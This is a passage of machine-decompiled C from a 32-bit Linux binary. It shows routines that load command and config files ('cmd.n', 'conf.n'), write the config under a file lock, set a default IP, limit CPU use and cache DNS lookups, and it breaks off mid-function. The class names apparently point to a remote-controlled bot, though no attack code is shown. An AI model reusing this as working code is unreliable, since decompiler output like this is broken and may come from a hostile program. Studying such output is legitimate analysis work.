CLoopCmd_86((struct struct_14 *)a1, a2); CAutoLock_493((struct struct_68 *)&v1); return (int32_t)a1; } // Address range: 0x80530d4 - 0x80532ff int32_t CCmdDoing__Initialize(int32_t * a1) { int32_t v1 = g98; // 0x80530d7 int32_t v2 = (int32_t)a1; // 0x80530db int32_t v3; CAutoLock_492((struct struct_68 *)&v3, v2 + 20, 1); int32_t v4; CUtility__GetCurrentPathFile(&v4, "cmd.n"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); int32_t v5 = std__string__c_str((int32_t *)(v2 + 16)); // 0x8053155 __new_fopen(v5, (int32_t)"rb"); struct _struct__IO_FILE * stream = (struct _struct__IO_FILE *)v5; // 0x805316e_0 if (v5 == 0) { // 0x80532ec CAutoLock_493((struct struct_68 *)&v3); g98 = v1; return &v3; } struct struct_18 * v6 = g2; // 0x805318d_3 if (fread(&v6->e0, 1, 4, stream) == 4) { // 0x80531b1 int32_t * v7; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, &v6->e0, 4); g98 = 0; int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x80531d2 int32_t items_read = fread((int32_t *)v8, 1, (int32_t)v6, stream); // 0x80531e1 __new_fclose(&stream->e0); if (items_read == 0) { // 0x8053207 int32_t v9; CLoopCmd((struct struct_14 *)&v9); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7); int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x805323e CLoopCmd__Absorb((struct struct_3 *)&v9, (struct struct_3 *)v10, g98); int32_t v11; if (v11 != 0) { // 0x805325e CLoopCmd__operator_eq_(a1, v9); // branch -> 0x805328d } // 0x805328d CLoopCmd_83(&v9); // branch -> 0x80532b8 } // 0x80532b8 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); // branch -> 0x80532ec } else { // 0x805319e __new_fclose(&stream->e0); // branch -> 0x80532ec } // 0x80532ec CAutoLock_493((struct struct_68 *)&v3); g98 = v1; return &v3; } // Address range: 0x8053300 - 0x8053433 int32_t CConfigDoing___SetConf(char * a1) { struct struct_6 * v1 = NULL; // bp-28 int32_t v2 = CConfig__Size((int32_t **)a1); // 0x805330e int32_t * v3; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(&v1->e0, (int32_t *)v2, (int32_t)v3); g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size(&v1->e0); struct struct_18 * v4 = g2; // 0x8053346_5 int32_t v5 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v4->e0); // 0x8053346 CConfig__Extract((struct struct_3 *)a1, (struct struct_3 *)v5, g98); int32_t fd = open((char *)std__string__c_str((int32_t *)((int32_t)a1 + 92)), 66); // 0x805337c if (fd > 0) { // 0x8053392 flock(fd, LOCK_EX); __libc_write(); g98 = v2; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_(&v1->e0, &v4->e0); __libc_write(); flock(fd, LOCK_UN); close(fd); // branch -> 0x805341f } // 0x805341f return std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_(v1); } // Address range: 0x8053434 - 0x80534b1 int32_t CConfigDoing__SetDefaultIp(int32_t ** a1, int32_t * a2) { int32_t v1 = (int32_t)a1; // 0x805343b int32_t v2; CAutoLock_492((struct struct_68 *)&v2, v1 + 96, 1); if (a2 != NULL) { // 0x8053459 CConfig__SetDefaultIp(v1, (int32_t)a2); // branch -> 0x805346b } // 0x805346b CConfigDoing___SetConf((char *)a1); CAutoLock_493((struct struct_68 *)&v2); return &v2; } // Address range: 0x8053582 - 0x8053799 int32_t CConfigDoing__Initialize(int32_t * a1) { int32_t v1 = g98; // 0x8053585 int32_t v2 = (int32_t)a1; // 0x8053589 int32_t v3; CAutoLock_492((struct struct_68 *)&v3, v2 + 96, 1); int32_t v4; CUtility__GetCurrentPathFile(&v4, "conf.n"); std__string__operator_eq__675(); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v4); int32_t v5 = std__string__c_str((int32_t *)(v2 + 92)); // 0x8053603 __new_fopen(v5, (int32_t)"rb"); struct _struct__IO_FILE * stream = (struct _struct__IO_FILE *)v5; // 0x805361c_0 if (v5 == 0) { // 0x805374a if (CUtility__IsRoot() != 1) { // 0x8053756 *(int32_t *)(v2 + 40) = 2; // branch -> 0x8053785 } // 0x8053785 CAutoLock_493((struct struct_68 *)&v3); g98 = v1; return &v3; } struct struct_18 * v6 = g2; // 0x805363b_3 if (fread(&v6->e0, 1, 4, stream) == 4) { // 0x805365f int32_t * v7; std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95((int32_t **)v7, &v6->e0, 4); g98 = 0; int32_t v8 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x8053680 int32_t items_read = fread((int32_t *)v8, 1, (int32_t)v6, stream); // 0x805368f __new_fclose(&stream->e0); bool v9 = true; // 0x80537441 if (items_read == 0) { // 0x80536b9 g98 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___size((int32_t **)v7); int32_t v10 = std__vector_lt_char_comma__std__allocator_lt_char_gt___gt___operator_lsb__rsb_((int32_t **)v7, &v6->e0); // 0x80536e1 CConfig__Absorb((struct struct_3 *)a1, (struct struct_3 *)v10, g98); int32_t * v11 = (int32_t *)(v2 + 60); // 0x8053703_0 *v11 = *(int32_t *)(v2 + 48); *(int32_t *)(v2 + 64) = *v11; v9 = false; // branch -> 0x8053735 } // 0x8053735 std__vector_lt_char_comma__std__allocator_lt_char_gt___gt_((struct struct_6 *)v7); if (!v9) { // 0x805374a if (CUtility__IsRoot() != 1) { // 0x8053756 *(int32_t *)(v2 + 40) = 2; // branch -> 0x8053785 } } } else { // 0x805364c __new_fclose(&stream->e0); // branch -> 0x8053785 } // 0x8053785 CAutoLock_493((struct struct_68 *)&v3); g98 = v1; return &v3; } // Address range: 0x8053944 - 0x8053953 int32_t CSerial_81(int32_t * a1) { // 0x8053944 *a1 = 0x80ff2d0; return (int32_t)a1; } // Address range: 0x8053954 - 0x8053999 int32_t CCpuLimit_82(struct struct_13 * a1) { // 0x8053954 CSerial_81(&a1->e0); a1->e0 = 0x80ff698; a1->e1 = 0; a1->e2 = 500; a1->e3 = 50; int32_t result = (int32_t)a1; // 0x8053991 *(int32_t *)(result + 16) = 1000; return result; } // Address range: 0x805399a - 0x80539a3 int32_t CCpuLimit__Size(void) { // 0x805399a return 13; } // Address range: 0x80539a4 - 0x80539db int32_t CConfig__InitSize(int32_t ** a1) { // 0x80539a4 CCpuLimit__Size(); return 65 + std__string__size((int32_t *)((int32_t)a1 + 76)); } // Address range: 0x80539dc - 0x8053a49 int32_t CLoopCmd(struct struct_14 * a1) { // 0x80539dc CSerial_81(&a1->e0); a1->e0 = 0x80ff798; a1->e1 = 1; a1->e2 = 0; return std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 12)); } // Address range: 0x8053a4a - 0x8053ac7 int32_t CLoopCmd_83(int32_t * a1) { // 0x8053a4a *a1 = 0x80ff798; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)((int32_t)a1 + 12)); CSerial(a1); return 0; } // Address range: 0x8053ae6 - 0x8053aed int32_t CSerial__operator_eq_(int32_t * a1) { // 0x8053ae6 return (int32_t)a1; } // Address range: 0x8053b3c - 0x8053b4b int32_t CSerial_84(int32_t * a1) { // 0x8053b3c *a1 = 0x80ff2d0; return (int32_t)a1; } // Address range: 0x8053ba2 - 0x8053bf1 int32_t CLoopCmd__operator_eq_(int32_t * a1, int32_t a2) { int32_t result = (int32_t)a1; // 0x8053bab CSerial__operator_eq_(a1); *(char *)(result + 4) = *(char *)(a2 + 4); *(int32_t *)(result + 8) = *(int32_t *)(a2 + 8); std__string__operator_eq__675(); return result; } // Address range: 0x8053bf2 - 0x8053c71 int32_t CLoopCmd_86(struct struct_14 * a1, int32_t a2) { int32_t v1 = a2; // bp-24 CSerial_84(&a1->e0); a1->e0 = 0x80ff798; a1->e1 = *(char *)(a2 + 4); a1->e2 = *(int32_t *)(a2 + 8); v1 = a2 + 12; int32_t result = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636((int32_t *)((int32_t)a1 + 12), &v1); // 0x8053c3f return result; } // Address range: 0x8053ca8 - 0x8053cdf int32_t CConfig__Size(int32_t ** a1) { int32_t v1 = g98; // 0x8053cab g98 = CConfig__InitSize(a1); int32_t v2 = g98; // 0x8053cd4 g98 = v1; return v2 + 8 * std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___size((int32_t **)((int32_t)a1 + 80)) + 4; } // Address range: 0x8053d30 - 0x8053d53 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___end_87(int32_t * a1, int32_t a2) { // 0x8053d30 __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, (int32_t *)(a2 + 4)); return (int32_t)a1; } // Address range: 0x8053d56 - 0x8053d6b int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(int32_t * a1) { // 0x8053d56 *a1 = *a1 + 8; return (int32_t)a1; } // Address range: 0x8053d6c - 0x8053d87 int32_t std__allocator_lt_CFakeCustom_gt__88(int32_t a1, int32_t a2) { // 0x8053d6c __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__37(a1); return 0x8132c20; } // Address range: 0x8053d88 - 0x8053dbf int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____Vector_impl_89(struct struct_3 * a1, int32_t a2) { // 0x8053d88 std__allocator_lt_CFakeCustom_gt__88((int32_t)a1, a2); a1->e0 = 0; a1->e1 = 0; int32_t result = (int32_t)a1; // 0x8053db6 *(int32_t *)(result + 8) = 0; return result; } // Address range: 0x8053dc0 - 0x8053dd9 int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__90(struct struct_6 * a1, int32_t a2) { // 0x8053dc0 return std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____Vector_impl_89((struct struct_3 *)a1, a2); } // Address range: 0x8053dda - 0x8053df5 int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__91(int32_t a1) { // 0x8053dda __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt_(); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); return 0x8132c20; } // Address range: 0x8053df6 - 0x8053e0d int32_t std__allocator_lt_CFakeCustom_gt__92(int32_t a1) { // 0x8053df6 __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt__91(a1); return 0x8132c20; } // Address range: 0x8053e0e - 0x8053e27 int32_t std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__93(struct struct_6 * a1, int32_t a2) { // 0x8053e0e return std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__90(a1, a2); } // Address range: 0x8053e28 - 0x8053f77 int32_t CConfig_94(struct struct_17 * a1) { struct struct_6 * v1 = NULL; // bp-9 CSerial_81(&a1->e0); a1->e0 = 0x80ff6d8; CCpuLimit_82((struct struct_13 *)((int32_t)a1 + 4)); a1->e6 = 0; a1->e7 = 0; a1->e8 = 0; a1->e9 = 0; a1->e9 = 1; a1->e9 = 1; a1->e10 = 0; a1->e11 = 1; a1->e12 = 0; a1->e13 = 0; a1->e14 = 0; a1->e15 = 0; a1->e16 = 0; *(int16_t *)((int32_t)a1 + 68) = -1; *(int16_t *)((int32_t)a1 + 70) = 1; *(int32_t *)((int32_t)a1 + 72) = 0; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt_((int32_t *)((int32_t)a1 + 76)); std__allocator_lt_CFakeCustom_gt__92((int32_t)v1); std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt__93((struct struct_6 *)((int32_t)a1 + 80), (int32_t)v1); return std__allocator_lt_CFakeCustom_gt_((int32_t *)v1); } // Address range: 0x8053f78 - 0x8053f7f int32_t __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(int32_t * a1) { // 0x8053f78 return (int32_t)a1; } // Address range: 0x8053f80 - 0x8053fb3 int32_t __gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(int32_t * a1, int32_t * a2) { int32_t v1 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a1); // 0x8053f8d int32_t v2 = *(int32_t *)v1; int32_t v3 = __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___base(a2); // 0x8053f9d int32_t v4 = *(int32_t *)v3; // 0x8053fa5 return (((int32_t)(v2 == v4) | v4 & -256) ^ 1) % 2; } // Address range: 0x8053fb4 - 0x8054003 int32_t std___Destroy_lt___gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt__comma__std__allocator_lt_CFakeCustom_gt___gt_(int32_t * a1) { // 0x8053fb4 int32_t * v1; if (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, v1) == 0) { // 0x8054001 return 0; } __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy((int32_t *)NULL); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1); while (__gnu_cxx__operator_not__eq__lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt_(a1, v1) != 0) { // 0x8053fbc __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator_ptr_(a1); __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___destroy((int32_t *)NULL); __gnu_cxx____normal_iterator_lt_CFakeCustom__ptr__comma__std__vector_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt___gt___operator__(a1); // continue -> 0x8053fbc } // 0x8054001 return 0; } // Address range: 0x8054004 - 0x80540b7 int32_t std__vector_lt_char_comma__std__allocator_lt_char_gt___gt__95(int32_t ** a1, int32_t * a2, int32_t a3) { // 0x8054004 int32_t v1; int32_t v2 = v1; // bp-11 std__allocator_lt_char_gt__598(v1); int32_t result = (int32_t)a1; // 0x805401a std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt__66((struct struct_3 *)a1, a2, &v2); std__allocator_lt_char_gt_(); int32_t v3; std___Vector_base_lt_char_comma__std__allocator_lt_char_gt___gt___get_allocator(v3, (int32_t *)a1); g95 = result; int32_t v4 = *(int32_t *)a1; // 0x805407e std____uninitialized_fill_n_a_lt_char__ptr__comma__unsigned_int_comma__char_comma__char_gt_((int32_t *)v4, a2, (char *)g2); std__allocator_lt_char_gt_(); int32_t v5 = (int32_t)a2; // 0x80540a8 g95 = v5; *(int32_t *)(result + 4) = *(int32_t *)a1 + v5; return result; } // Address range: 0x80540b8 - 0x80540c1 int32_t __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___max_size(void) { // 0x80540b8 return 0x1fffffff; } // Address range: 0x80540c2 - 0x8054201 int32_t __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, struct struct_6 * a2) { __gnu_cxx____mt_alloc_base_lt_CFakeCustom_gt___max_size(); g95 = a2 > (struct struct_6 *)0x1fffffff != false; if (a2 > (struct struct_6 *)0x1fffffff != false) { // 0x80540e9 std____throw_bad_alloc(); // branch -> 0x80540ee } // 0x80540ee int32_t v1; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v2 = 8 * (int32_t)a2; // 0x80540fe int32_t * v3 = (int32_t *)v2; // 0x8054101_0 int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) { // 0x805411a int32_t * v4; result = _Znwj(v2, v2, (int32_t)v4); // branch -> 0x80541fd // 0x80541fd return result; } int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8054140 int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x8054151 int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x8054165_4 int32_t * v8 = *v7; // 0x805417e if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) { // 0x80541e0 result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6); // branch -> 0x80541fd } else { int32_t * v9 = *v7; // 0x8054197 *v7 = (int32_t *)*v9; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9); int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x80541d8 result = v10; // branch -> 0x80541fd } // 0x80541fd return result; } // Address range: 0x8054202 - 0x805421d int32_t std___Vector_base_lt_CFakeCustom_comma__std__allocator_lt_CFakeCustom_gt___gt____M_allocate(int32_t * a1, struct struct_6 * a2) { // 0x8054202 return __gnu_cxx____mt_alloc_lt_CFakeCustom_comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, a2); } // Address range: 0x805445c - 0x805448f int32_t std___Construct_lt_CFakeCustom_comma__CFakeCustom_gt_(int32_t * a1, struct struct_18 * a2) { int32_t v1 = _ZnwjPv((int32_t *)8); // 0x805446a struct struct_18 * v2 = (struct struct_18 *)v1; // 0x805446a_4 struct struct_18 * v3; // 0x805448f_11 if (v1 != 0) { // 0x805447b v2->e0 = a2->e0; int32_t * v4 = a2->e1; // 0x8054485 v2->e1 = v4; v3 = (struct struct_18 *)v4; // branch -> 0x805448e } else { v3 = v2; } // 0x805448e return (int32_t)v3; } // Address range: 0x8054cfe - 0x8054d5d int32_t CDNSCache__GetFirstNumPos(char * a1) { // 0x8054cfe int32_t v1; if (v1 == 0) { // 0x8054d59 return 0; } char * v2 = (char *)v1; // bp+018 int32_t v3 = v1 & -256; // 0x8054d4c21 int32_t v4 = v3 | (int32_t)*v2; // 0x8054d4c22 g95 = v4; if (v4 == 0) { // 0x8054d59 return 0; } int32_t result = v1; // 0x8054d4926 int32_t v5 = 0; while (true) { // 0x8054d1c int32_t v6; // 0x8054d44 int32_t v7; // 0x8054d49 char * v8; // 0x8054d4c_0 int32_t v9; // 0x8054d4c int32_t v10; // 0x8054d4c if (((int32_t)*v2 || v3) >= 48) { // 0x8054d28 if (((int32_t)*v2 || v3) <= 57) { // 0x8054d34 g95 = v5; // branch -> 0x8054d59 // 0x8054d59 return result; } // 0x8054d41 v6 = v5 + 1; v7 = v6 + v1; v8 = (char *)v7; v9 = v7 & -256; v10 = v9 | (int32_t)*v8; g95 = v10; if (v10 == 0) { // break -> 0x8054d59 break; } v3 = v9; v2 = v8; result = v7; v5 = v6; // continue -> 0x8054d1c continue; } // 0x8054d41 v6 = v5 + 1; v7 = v6 + v1; v8 = (char *)v7; v9 = v7 & -256; v10 = v9 | (int32_t)*v8; g95 = v10; if (v10 == 0) { // break -> 0x8054d59 break; } v3 = v9; v2 = v8; result = v7; v5 = v6; // continue -> 0x8054d1c } // 0x8054d59 return 0; } // Address range: 0x80550c6 - 0x80555d1 int32_t CDNSCache__GetIpsFromDomain(struct struct_3 * a1, struct struct_20 * a2, struct struct_3 * a3, int32_t a4, int32_t a5) { struct struct_3 * v1 = NULL; // bp-80 struct struct_3 * v2 = NULL; // bp-65 struct struct_3 * v3 = NULL; // bp-44 int32_t v4 = g98; // 0x80550c9 std__allocator_lt_std__string_gt__42((int32_t)v2); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt_(v1, v2); std__allocator_lt_std__string_gt_(&v2->e0); if (a3 == NULL) { // 0x8055107 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v1); // branch -> 0x80555b8 // 0x80555b8 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1); g98 = v4; return (int32_t)a1; } // 0x805511f int32_t v5; int32_t v6; if (CProtocolUtil__IsStrIPAddress(&a3->e0) == 0) { // 0x80551cb int32_t v7; CAutoLock_492((struct struct_68 *)&v7, (int32_t)a2 + 16, 1); int32_t v8; std__allocator_lt_char_gt__598(v8); int32_t v9; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v9, (int32_t)a3, v8, v6, v5, 0); struct struct_3 * v10 = (struct struct_3 *)((int32_t)a2 + 40); // 0x8055218_0 int32_t v11; std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___find((int32_t **)&v11, &v10->e0, &v9); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v9); std__allocator_lt_char_gt_(); struct struct_3 * v12 = (struct struct_3 *)((int32_t)a2 + 40); // 0x805528b_0 int32_t v13; std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___end((int32_t **)&v13, &v12->e0); int32_t v14 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_not__eq_(&v13, &v11); // 0x80552a6 char v15; int32_t v16; // 0x80552ee if (v14 == 1) { // 0x80552b5 g98 = time(&g2->e0); std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(&v11); int32_t v17 = *(int32_t *)((int32_t)a2 + 64); // 0x80552dd if (g98 - a4 >= v17) { // 0x80552ea v16 = v17; v15 = 0; // branch -> 0x80552ee } else { v16 = v17; v15 = 1; } } else { // 0x80552ea v16 = v14 ^ 1; v15 = 0; // branch -> 0x80552ee } bool v18 = false; // 0x805537a1 if (((int32_t)v15 || v16 & -256) != 0) { int32_t v19 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(&v11); // 0x80552fc struct struct_3 * v20 = (struct struct_3 *)(v19 + 4); // 0x805530a_0 if (std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(&v20->e0) != 1) { // 0x805531a g98 = (int32_t)a1; int32_t v21 = std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__gt_(&v11); // 0x8055324 int32_t v22 = v21 + 4; // 0x805532c std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)g98, (int32_t **)v22); v18 = true; // branch -> 0x805536b } else { v18 = false; } } // 0x805536b CAutoLock_493((struct struct_68 *)&v7); if (!v18) { while (true) { struct struct_3 * v23 = (struct struct_3 *)*(int32_t *)a2; // 0x80553c4_0 struct struct_3 * v24 = (struct struct_3 *)((int32_t)a2 + 4); // 0x80553c5_0 int32_t v25 = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(&v24->e0, &v23->e0); // 0x80553c6 int32_t v26 = *(int32_t *)v25; // 0x80553ce int32_t v27 = (int32_t)a2; // 0x80553d9 int32_t v28 = *(int32_t *)a2; // 0x80553dc if (((int32_t)(v26 == 0) || v26 & -256) == 0) { struct struct_3 * v29 = (struct struct_3 *)(v27 + 4); // 0x80553e8_0 int32_t v30 = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___operator_lsb__rsb_(&v29->e0, &((struct struct_3 *)v28)->e0); // 0x80553e9 struct struct_3 * v31 = (struct struct_3 *)*(int32_t *)v30; // 0x80553fc_0 CProtocolUtil__GetDomainIPsSpecially(v3, &v31->e0, &a3->e0, (int32_t)v10); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___operator_eq_((struct struct_12 *)v1, (int32_t **)v3); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v3); if (std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(&v1->e0) != 1) { // 0x8055461 int32_t v32; CAutoLock_492((struct struct_68 *)&v32, (int32_t)a2 + 16, 1); int32_t v33; CDNSCacheItem_134(&v33, (int32_t **)v1); int32_t v34; std__allocator_lt_char_gt__598(v34); int32_t v35; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v35, (int32_t)a3, v34, (int32_t)a3, (int32_t)v10, v9); struct struct_3 * v36 = (struct struct_3 *)((int32_t)a2 + 40); // 0x80554be_0 int32_t v37 = std__map_lt_std__string_comma__CDNSCacheItem_comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___operator_lsb__rsb_(&v36->e0, &v35); // 0x80554bf CDNSCacheItem__operator_eq_(&((struct struct_3 *)v37)->e0, &v33); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v35); std__allocator_lt_char_gt_(); CDNSCacheItem((struct struct_3 *)&v33); CAutoLock_493((struct struct_68 *)&v32); // branch -> 0x8055580 } // 0x8055580 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v1); // branch -> 0x80555b8 // 0x80555b8 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1); g98 = v4; return (int32_t)a1; } // 0x8055386 g98 = v28 + 1; struct struct_3 * v38 = (struct struct_3 *)(v27 + 4); // 0x8055397_0 uint32_t v39 = std__vector_lt_unsigned_int_comma__std__allocator_lt_unsigned_int_gt___gt___size(&v38->e0); // 0x8055398 a2->e0 = (int32_t *)(g98 % v39); // branch -> 0x80553b6 } } } else { // 0x8055135 int32_t v40; std__allocator_lt_char_gt__598(v40); int32_t v41; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691(&v41, (int32_t)a3, v40, v6, v5, 0); std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(&v1->e0, &v41); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v41); std__allocator_lt_char_gt_(); // branch -> 0x8055580 // 0x8055580 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__135((struct struct_20 *)a1, (int32_t **)v1); // branch -> 0x80555b8 } // 0x80555b8 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt__64((struct struct_10 *)v1); g98 = v4; return (int32_t)a1; } // Address range: 0x80555d2 - 0x80556f7 int32_t CDNSCache__GetIpFromDomain(int32_t * a1, struct struct_20 * a2, struct struct_3 * a3) { struct struct_3 * v1 = NULL; // bp-28 int32_t v2 = g101; // 0x80555d5 int32_t v3 = g98; // 0x80555d6 int32_t v4; int32_t v5; CDNSCache__GetIpsFromDomain(v1, a2, a3, v5, v4); int32_t v6 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___empty(&v1->e0); // 0x80555f6 g95 = v6 ^ 1; if (v6 == 1) { // 0x8055665 g98 = (int32_t)a1; int32_t v7; std__allocator_lt_char_gt__598(v7); std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__691((int32_t *)g98, (int32_t)"", v7, (int32_t)a3, v5, v4); std__allocator_lt_char_gt_(); // branch -> 0x80556dc } else { int32_t time_val = time(&g2->e0); // 